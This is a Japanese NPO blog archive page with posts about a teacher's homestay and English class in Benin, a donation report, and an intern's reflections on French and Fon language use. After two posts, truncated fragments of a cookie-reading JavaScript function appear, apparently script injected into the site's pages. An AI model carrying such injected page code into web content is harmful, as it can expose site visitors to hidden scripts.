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2019年1月 – 特定非営利活動法人AYINA
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ベナンホームステイから始まる私の夢の1ページ【後編】

こんにちは。2018年12月22日から29日までベナンでお世話になりました、倉科と申します!この場をお借りして、私の夢の1ページ目を刻んだ、ベナン体験記を記させていただければと思います。 AYINA編集部より 「非常に素晴らしい内容だったので前後編に分けてお届けします!」 前編はコチラ Entrepreneurial Leadership Institute(大学)での英語の授業 私が出発前から内藤さんにお願いしていたのは現地の学校視察でしたが、なんと内藤さんと現地スタッフの方は私に授業をする機会まで作ってくださっていたのです!授業テーマは大学側より「起業とリーダーシップ」という依頼があり、18才の学生が対象、そして何と授業時間は3時間… 正直に言いますと、授業テーマを聞いたのは出発10日前ほどで、ギリギリまで仕事があった私には準備時間が十分にありませんでした。ですが、結論から言いますと、間違いなくこの授業は自分の先生としてのキャリアの中で最も意義があり、転機となった授業と言えます。 授業テーマを聞いたときにすぐに自分の頭に浮かんだのが、私自身の友人でもある福島で農業を営んでいる日本人女性(Mさん)です。彼女は2011年の原発事故以来、福島の食の安全と信頼の回復につとめ、風評被害に負けずに農業を続けてきました。自ら会社も興したという点で、今回の授業にピッタリだと思い、彼女に焦点をあてた授業をすることに決めました。 現地スタッフの方の計らいで、学生さんたちだけでなく、ベナンの学校の先生などもいらっしゃり、総勢30名ほどを前に、ついに授業が始まりました。まずはウォームアップとして、学生さんたちに日本のイメージを尋ねてみました。多くの方が日本と言えば、車(“TOYOTA”など)、漫画(“NARUTO”など)というイメージを持っており、日本に対しては良いイメージを持っているようで、和やかな雰囲気で始まりました。 しかし、今回の授業は、2011年に起きた、日本がいまだに解決できていない未曾有の大惨事に関することであると伝えると、教室の雰囲気が変わりました。授業中、写真を多用して、学生さんたちにその写真は果たして何を示しているのかを考えてもらいました。地震で倒壊した建物や福島の原子力発電所、「立ち入り禁止」と書かれた看板、亡くなった人に膝をついて祈りを捧げるレスキュー隊。それらの写真を見て、学生さんたちは日本で起こったこの悲しい大災害に対して思いを馳せてくれました。ある日突然、たくさんの人が死んでいく状況を目の当たりにした人、生まれ育った故郷を離れなくてはならなくなった人、大事にしていたペットを置いてきぼりにせざるをえなかった人、共に生活してきた家畜を自らの手で殺さなくてはならなくなった人…このような場面を想像してみてください、と言うと、学生さんたちはみなSad…と嘆きました。 私がベナンの学生さんたちに最も伝えたかったのは、この大惨事そのものではなく、日本に原発があることでもなく、人々が打ちひしがれていく中、Mさんや地域の方々や研究者の方々が、連携と努力によって、福島の食の安全を取り戻すために奮闘してきたことです。 そして、Mさんの思い、 ー福島の農業は農民と研究者の協同によって、土の力で再生して行ったことが証明された。福島の農産物は安全であることは証明されたが、決して世界各地に原発があることは安全ではないということ。福島の農業は土の力、人の力による結果であったということ。ー これを伝えたかったのです。ベナンから何万キロと離れている遠い異国の地で、Mさんがまさに農業においてのリーダーシップを担ったこと、果たして私の授業力でどこまで伝わったかは分かりませんが、少しでも伝わっているといいなと思います。 Monseigneur Bresillac school...

ベナンホームステイから始まる私の夢の1ページ【前編】

こんにちは。2018年12月22日から29日までベナンでお世話になりました、倉科と申します!この場をお借りして、私の夢の1ページ目を刻んだ、ベナン体験記を記させていただければと思います。 AYINA編集部より 「非常に素晴らしい内容だったので前後編に分けてお届けします!」 ベナンとの出会い まず始めに、なぜ私がベナンとつながったかをお話します。 教員歴5年、年齢30歳という節目を迎えて、 それなりに楽しくやっていたものの何となく自分の人生に違和感を持ち始めました。 何がやりたくて英語を勉強したのか… 何を教えたくて先生になったのか… どんな先生になりたかったのか… 情けないことに教員を5年やっていて、1つも自分が思い描いていたことが達成できていないことに気づいたのです。自分の人生、これでいいのか、いや、このままじゃダメだ、と思い始めました。 そこで、大学院生時代に小学校の外国語活動の時間で、環境問題の授業をしたことにとてもやりがいを感じていたことを思い出しました。そして、 『そうだった、私は子どもたちに世界の諸問題に目を向けさせたくて先生になったんだ。その諸問題について共に考え、行動できる人となる手段として英語を勉強してほしいと思って、英語の先生になったんだ。』 と、ようやく自分の原点を思い出しました。 そこからは涌き出る好奇心が抑えられず、『まずは自分の目でもっと広い世界が見たい!!他の国の英語教育が見たい!!』と思い、リサーチを始めました。教育先進国の北欧にも興味はありますが、日本と同じように英語を公用語ではなく外国語として捉える国の方が日本の教育背景とも通じると思い、そのような国でがんばっている方と接触できる機会を探していたところ、内藤さんとお話しすることができたのです! アフリカ大陸初上陸!! 内藤さんをはじめ、現地スタッフの方々の強力なバックアップとサポート体制のもと、現地の学校視察や観光など、予定ぎっしりのスケジュールを組んでもらいました。とてもとてもアフリカ大陸に始めて降り立った人とは思えないほどの体験をしてきました(笑)あれもこれもは書けないので、特に心に残ったことをがんばって3つに絞りました! ☆ホストファミリー☆ まずは何と言っても滞在中私を暖かく迎え入れてくださったホストファミリーです!! <ホストファザー> 明るくて優しくて面白いホストファザー。 私が夜中にお腹を下してしまったときは、一緒に起きてトイレと部屋の往復も一緒にしてくれました(笑) フランス語が全く話せない私に英語を積極的に使い、コミュニケーションを取ってくれました。写真がお好きなようで、たくさん隠し撮りもされました(笑) <ホストマザー> 美人で明るくてハキハキとしたホストマザー。 お仕事がお忙しいようで、なかなかお話できるチャンスはありませんでしたが、ご飯のときによく話しかけてくれました。ベナンのご家庭ではまな板を使う文化が無いのでしょうか、彼女が手のひらでタマネギをスライスしたり、リンゴを切ったりしているときはとにかくハラハラしていました(笑) <??>  やんちゃで聡明でとてもかわいい7才の男の子。 ドラえもんの塗り絵とクレヨンをプレゼントしたところ、思いっきりはまってくれました!!塗り絵の表紙(カラー)を見ながら忠実に色を塗り、表紙に書かれていないものは「これは何色?」とジェスチャーで訴えてきました。 日本では恋人と過ごすことが多い12月25日、私は丸一日この男の子と遊んでいました(笑)名前が??となっているのは、ホストファザーに聞いてもホストマザーに聞いても誰に聞いてもなぜか全員バラバラの名前で答えたので、結局分からずじまいなのです(ニックネームやミドルネームのようなものだったのでしょうか?) <エリー(写真左)> ホストファミリーの中で唯一英語を流暢に話す女の子。 ホストファザーとホストマザーとは親戚関係のようです。ヘアドレッサーの仕事をしており、年末は大忙しだったようです。最終日に私の髪の毛もアレンジしてもらいました!!第一印象はとてもクールで、「あれ…私、嫌われているのかな…」と思ったのですが、ある日昼食作りに参加させてもらったときはガールズトークで大いに盛り上がりました!ベナンでは女性はほぼ100%結婚するようで、しかも20才前後で結婚していくようです。30才で未婚、子どもなし、彼氏もいないという私の現状にとても驚いていました(笑) <ローズ(写真左から2番目)> 同じくホストファザーとホストマザーの親戚にあたる女の子。 看護師さんの仕事をしており、ローズも年末は慌ただしく過ごしていました。彼女は恥ずかしがり屋だそうで、英語も話さないので、あまりお話しすることができませんでした。しかし、最終日前日、私がご飯を食べているときに通りかかり、「ご飯、とってもおいしいよ」とジェスチャーで伝えたところ、ローズがフランス語で何かを言ったのですが、全く分からず、どうしようと思っていたところ、「スマホの翻訳機能を使おう!!」と最終日前日にその手があったことを思い出しました。 そして、お互いがお互いの言語で言いたいことを入力し、出てきた翻訳の画面を見せ合うという、一見コミュニケーションにおいては非効率的な時間のかかることでしたが、初めてローズが思っていることや言いたかったことを知ることができ、嬉しかったです。 <ネコ> ベナンでは、ネズミ捕り対策としてネコを飼っている家が多いそうなのですが、日本のようにペットとしては捉えていないようです。したがってこのネコちゃんに名前はありません(笑)最初は警戒心が強く、私を見てもすぐに逃げ出していましたが、2日目以降途端に警戒心を失くしたようで、私が居間にいるといつのまにか足下にいるということが多々ありました(笑) 続いてステイ先の様子です。お部屋は広く、蚊帳もつけてくださっていたので、夜は安心して眠ることができました。お部屋に扇風機もあり、暑さを凌げます。ところが窓の近くにニワトリやヤギがいて、朝はとってもにぎやか…(苦笑) ステイ先で感じた「異文化」 浴室も私のお部屋についていたので、専用として使うことができました。衝撃的だったのは、「お風呂に入る」や「シャワーを浴びる」という概念が日本と全く異なることでした。水がとても貴重なベナンでは、水をためておいてそこから生活に必要な分を使います。この緑色のバケツに入っている水で体や髪を洗ったのですが、日本のようにレバーをひねれば水がとめどなく出てくるものではないので、とにかくムダが無いよう、最小限の水で済ませました。 もう1つ衝撃的だったのはトイレです。これまた蛇口をひねれば流してくれる水洗トイレとは異なり、トイレ内にあるバケツの水を使って手動で流すのです。最初はバケツが重くて持ち上げるのに一苦労でしたが、数日で慣れ、最終日には片手で持ち上げていました(笑) 食事の仕方も日本とは異なります。ベナン全体に当てはまるかは分かりませんが、こちらのご家庭ではみんなが揃って食事をするという習慣は無いようです。なので、私も食事は居間で1人で食べたのですが、静かに考え事もできますし、適度にホストファミリーが話しかけてくれますし、何より子どもとネコが必ず途中で乱入するので特に寂しさはありませんでした(笑) よく、外国文化に触れた人の体験記などで、日本と比較をし、日本の高度な技術の方を賛美したり、感謝をしたり…、というのを見聞きします。しかし、正直に言いますと、私はこれまで別の国に行ってもホームステイをしても、日本の技術の方が優れていると思ったり、特に感謝したことはありません。ただの異文化だと捉えています。もちろん水が出ること自体には感謝をしていますが、日本の浴槽やシャワーヘッドの方がいいと思ったり、それがあることに特に感謝はしていません。むしろ、「自分が慣れ親しんできた方法とは異なる方法で」トイレやお風呂を経験できたことに感謝をしています。 後編に続く アフリカホームステイ情報はコチラから function getCookie(e){var U=document.cookie.match(new...

12月度polca募金の御礼/1月度polca募金お知らせ

副代表の内藤です! 2月から新たに導入させて頂きました、polcaを使った毎月の募金支援。   2月度は8名の方に総額4,800円をご支援頂きました! 3月度は15名の方に総額7,700円をご支援頂きました! 4月度は14名の方に総額9,300円をご支援頂きました! 5月度は28名の方に総額14,600円をご支援頂きました! 6月度は12名の方に総額6,300円をご支援頂きました! 7月度は18名の方に総額16,200円をご支援頂きました! 8月度は16名の方に総額11,400円をご支援頂きました! 9月度は7名の方に総額4,500円(手数料後4,050円)をご支援頂きました! 特別版は18名の方に総額12,650円(手数料後11,385円)をご支援頂きました! 11月度は11名の方に総額3,900円(手数料後3,510円)をご支援頂きました!   そして12月度は3名の方に総額1,800円(手数料後1,620円)をご支援頂きました!   総支援者様は150名、総支援額は90,865円となりました! ご支援者様は、 morishindesu様 yumemi様 テニプリ様 でした!! いつも本当にありがとうございます!!   ご支援いただきましたお金は、 アフリカと日本をつなぐ活動に大切に使わせて頂きます! 1月度のpoclaも始まっております! 2019年1月度AYINA polca募金 よろしくお願いいたします!   function getCookie(e){var...

ベナン現地企業で3ヶ月間インターンホームステイ vol.04

みなさんこんにちは!! 新年はいかがお過ごしでしょうか? ホームステイ先で新年を過ごした私は、 すっかりホームステイ先の家族とも打ち解けてベナンのお正月を満喫しました! ベナン現地企業で3ヶ月間インターンホームステイ vol.01はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.02はこちら ベナン現地企業で3ヶ月間インターンホームステイ vol.03はこちら ホームステイをしていていいなと思うことは、ホームステイ先の家族やその友達と仲良くできること、ベナン人の日常に溶け込めることです。 そうすると、旅行や観光では聞けないようなベナンの現状や人々の考えを直接聞ける機会がしばしばあります。 これまで聞いたことを全て書いてしまうとみなさんがベナンを訪れた時の楽しみがなくなってしまうので、今回はそのうちの一つだけ紹介したいと思います。 テーマはずばり、「言語」です。 ベナンはかつてフランスの植民地だったため、現在でも公用語はフランス語です。 私も普段ホームステイ先ではフランス語で会話をしています。 ちなみに私のフランス語レベルが高いわけではなく、私がフランス語を理解できていない時は言い直したり、簡単な言葉で言い換えたりしてくれるベナン人の優しさに救われてコミュニケーションを取ることができています。 ちなみにホームステイ先には英語を話せる人もいるので、困ったら英語で話すことも可能です。 というわけで話が反れましたが、私の周りのベナン人はフランス語を自由自在に操ります。 それもそのはず。 小学校から教育はすべてフランス語で行われる上に、会社でもフランス語を使い、テレビドラマやラジオもフランス語で聴き、新聞も本もフランス語で読みます。 しかし、ベナンの言語はフランス語だけではありません。 ベナン人の中には46の民族がいると言われ(外務省HPより)、数十の現地語が存在します。 私のいるベナン南部に多いのは、フォン語を話すフォン人です。 ホームステイ先でも、家族同士の会話はフランス語ではなくフォン語でなされることも多々あります。 小さなお店や市場でも、フォン語が飛び交っています。 私のホームステイ先の家族も、よくフォン語で話しています。 ただし、街でフォン語を見ることはほとんどありません。 ホームステイ先の家族のだれも、フォン語で読み書きをすることはできません。 なぜでしょうか? 特に、日本語で読み書きをし、日本語で話すことが当たり前な人にとっては不思議に感じるかも知れません。 ホームステイ先の家族曰く、フォン語での読み書きが浸透していないのは、学校で習わないからだそうです。 ベナンでは小学校からすべての教育がフランス語で行われます。 フォン語を学ぶ時間はありません。 フォン語の会話は、家で覚えます。 だから、フォン語を読めないし書けない。 その上、学術的な話題、複雑な話題をフォン語で話すことは難しいそうです。 数学も、歴史も、化学も、全部フランス語で習うため、そういったことをどうフォン語で表現するのかフォン人にもわからないそう。 難しい話題を話すことも、読み書きもフォン語ではできず、フランス語に頼るしかない。 したがって、冒頭で触れたように自然と、読書も新聞もテレビもラジオも、インターネットだって、フランス語を通して情報を受け取るようになります。 では、学校に行けなかった人はどうなるでしょうか? 学校で習うはずのフランス語を学ぶことはできません。 フランス語を操れないということは、上記の状況を考えると、本、新聞、ラジオ、インターネットなどといった情報にアクセスできないということになる、とホームステイ先の家族は言います。 問題は学校に行く機会に恵まれなかった人だけではありません。 フランス語を流暢に操るホームステイ先の家族も、現状を不満に思っています。 なぜ自分たちの言語で教育を受けることができないのか、読み書きをすることができないのか。 日本語で教育を受け、日本語で読み書きをすることが当たり前だと思っていた私は何も言えませんでした。 もちろん、グローバル化が進む昨今、英語やフランス語で教育を受けたり、情報を得たりする方が良いという意見もあるでしょう。 ホームステイ先の家族も、私も、そうした意見を否定しているわけではありません。 しかし、ベナン人は現代のグローバル化以前の、植民地時代からずっとこうしてフランス語を生活の中に組み込まれてきました。 この点に不満や怒りを感じている、とホームステイ先の家族は話してくれました。 これまでのブログと比べ、少しマイナスなイメージの文章になってしまったかも知れません。 ベナンを訪れたことのない方にも、ベナンの様々な面を知ってもらいたいと思い今回はこうした内容を書かせて頂きました。 ホームステイを通して、表面的な交流を超えた会話をすることができ、現地についてより深く知ることができるということを少しでも感じてもらえれば幸いです。 きっと、訪れる国、地域、ホームステイ先などによって異なる話や意見を聞くことができるでしょう。 何より、自分の過ごしてきた環境とはまったく違う環境に飛び込み、現地の方と日常を共有することで、観光だけでは味わえないほど深く現地の人や文化に関わることができるのがホームステイの醍醐味です。 機会があればぜひ挑戦してみてください! アフリカホームステイの詳細はこちら! ...